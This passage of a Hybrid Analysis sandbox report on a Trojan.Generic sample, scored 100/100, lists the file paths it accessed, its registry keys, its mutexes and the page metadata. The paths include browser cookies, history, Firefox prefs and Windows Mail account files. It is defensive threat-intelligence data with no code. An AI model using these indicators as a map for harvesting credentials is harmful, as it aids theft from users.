sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%APPDATA%\\cmdisvc6","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%WINDIR%\\SYSTEM32\\ntdll.dll","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%TEMP%\\DC42\\7FA1.bat","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%APPDATA%\\cmdisvc6\\adprtext.exe","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\prefs.js","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%PUBLIC%\\Desktop\\Mozilla Firefox.lnk","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%APPDATA%\\Microsoft\\{765CEAE2-5DA9-189B-970A-E1CCBBDEA5C0}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows Mail","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%USERPROFILE%\\Contacts","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%USERPROFILE%\\Contacts\\%OSUSER%.contact","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%WINDIR%\\System32\\msxml6r.dll","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows Mail\\account{A770D234-3A38-4244-88F4-7A867FDC9959}.oeaccount","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows Mail\\account{B4FCE48D-2097-4415-9537-7933E765DE73}.oeaccount","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows Mail\\account{D71DE24B-BE28-45C4-B4BE-E99C363FDE00}.oeaccount","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%WINDIR%\\system32\\en-US\\urlmon.dll.mui","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%APPDATA%\\Microsoft\\{515F65C1-7C10-AB31-0E15-700F2219A4B3}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"%TEMP%\\39F7.bin","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"path":"pipe\\{93F8BFCC-D624-3D16-7877-6AC12C9B3E85}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\APPDATALOW\\SOFTWARE\\MICROSOFT\\1BF08513-BEE6-055F-A07F-D209D423264D\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\APPDATALOW\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\APPDATALOW\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\APPDATALOW\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\APPDATALOW\\SOFTWARE\\MICROSOFT\\1BF08513-BEE6-055F-A07F-D209D423264D\\FILES\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{09477111-DE61-43CD-A5AA-D9F7B489301F}\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{09477111-DE61-43CD-A5AA-D9F7B489301F}\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\LOCATION AWARENESS\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\IETLD\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\BROWSEREMULATION\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.3G2\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.3GP\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.3GP2\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.3GPP\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\{4711FF31-FA1D-1115-3C6B-CED530CFE2D9}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\{B92517C0-C493-538C-96FD-38372A81EC5B}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\{1F360C78-F20C-A907-F4C3-46ED68A7DA71}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!%OSUSER%!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!%OSUSER%!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!%OSUSER%!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\c:!users!%OSUSER%!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\{4711FF31-FA1D-1115-3C6B-CED530CFE2D9}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"{FF6E069E-5230-8913-54A3-A6CDC8873A51}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\c:!users!%OSUSER%!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\c:!users!%OSUSER%!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\{B92517C0-C493-538C-96FD-38372A81EC5B}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\{1F360C78-F20C-A907-F4C3-46ED68A7DA71}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"Local\\c:!users!fas2wj2!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{FF6E069E-5230-8913-54A3-A6CDC8873A51}","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!fas2wj2!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]}]}},"report_ids":{"sandbox_job_ids":["59c4fd577ca3e14be367fd58"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample cbf492d96038… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample cbf492d96038…. Malware family: Trojan.Generic. Threat score 100/100. 14/28 AV engines flagged this file. 11 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample cbf492d96038… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample cbf492d96038…. Malware family: Trojan.Generic. Threat score 100/100. 14/28 AV engines flagged this file. 11 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample cbf492d96038… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample cbf492d96038…. Malware family: Trojan.Generic. Threat score 100/100. 14/28 AV engines flagged this file. 11 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2b","11",{}]]